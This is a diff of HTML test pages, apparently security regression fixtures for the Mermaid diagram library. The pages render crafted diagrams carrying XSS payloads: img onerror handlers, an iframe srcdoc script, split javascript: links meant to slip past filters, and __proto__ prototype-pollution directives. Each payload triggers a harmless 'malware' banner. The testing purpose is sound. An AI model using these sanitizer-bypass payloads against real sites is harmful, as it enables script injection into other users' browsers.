|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,19 +93,19 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 'if_state --> False: if n < 0<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 'if_state --> False: if n < 0<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -88,20 +94,20 @@
|
||||
}
|
||||
|
||||
var diagram = 'classDiagram\n';
|
||||
diagram += 'classA <-- classB : <ifr';
|
||||
diagram += "ame/srcdoc='<scr";
|
||||
diagram += 'ipt>parent.xssAttack(`XSS`)</';
|
||||
diagram += "script>'>";
|
||||
diagram += 'classA <-- classB : <ifr';
|
||||
diagram += "ame/srcdoc='<scr";
|
||||
diagram += 'ipt>parent.xssAttack(`XSS`)</';
|
||||
diagram += "script>'>";
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -90,17 +96,17 @@
|
||||
var diagram = `sequenceDiagram
|
||||
participant John
|
||||
links John: {"XSS": "javas`;
|
||||
diagram += `cript:alert('AudioParam')"}`;
|
||||
diagram += `cript:alert('AudioParam')"}`;
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -91,15 +97,15 @@
|
||||
participant Alice
|
||||
links Alice: { "Click me!" : "javasjavascript:cript:alert('goose')" }`;
|
||||
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -91,15 +97,15 @@
|
||||
participant Alice
|
||||
link Alice: Click Me!@javasjavascript:cript:alert("goose")`;
|
||||
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -90,15 +96,15 @@
|
||||
var diagram = `classDiagram
|
||||
Class "<img/src='x'/onerror=xssAttack(1)>" <--> "<img/src='x'/onerror=xssAttack(2)>" C2: Cool label`;
|
||||
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
// // diagram += "<img/src='1'/onerror"
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -91,16 +97,16 @@
|
||||
class Shape{
|
||||
<<<img/src='1'/`;
|
||||
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
diagram += `onerror=xssAttack()>>>
|
||||
// // var diagram = "stateDiagram-v2\n";
|
||||
diagram += `onerror=xssAttack()>>>
|
||||
}`;
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
<html>
|
||||
<head>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<style>
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -33,24 +30,24 @@
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
|
||||
graph LR
|
||||
A --> B
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
|
||||
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
|
||||
graph LR
|
||||
A --> B
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'prototype': {'__proto__': {'polluted': 'test'}}} }%%
|
||||
%%{init: { 'prototype': {'__proto__': {'polluted': 'test'}}} }%%
|
||||
sequenceDiagram
|
||||
Alice->>Bob: Hi Bob
|
||||
Bob->>Alice: Hi Alice
|
||||
</div>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,18 +93,18 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
// var diagram = ` graph TD
|
||||
// A --> B["<a href='javasc`;
|
||||
// diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
// var diagram = ` graph TD
|
||||
// A --> B["<a href='javasc`;
|
||||
// diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
var diagram = ` graph TD
|
||||
A --> B["<a href='javasc`;
|
||||
diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
// console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
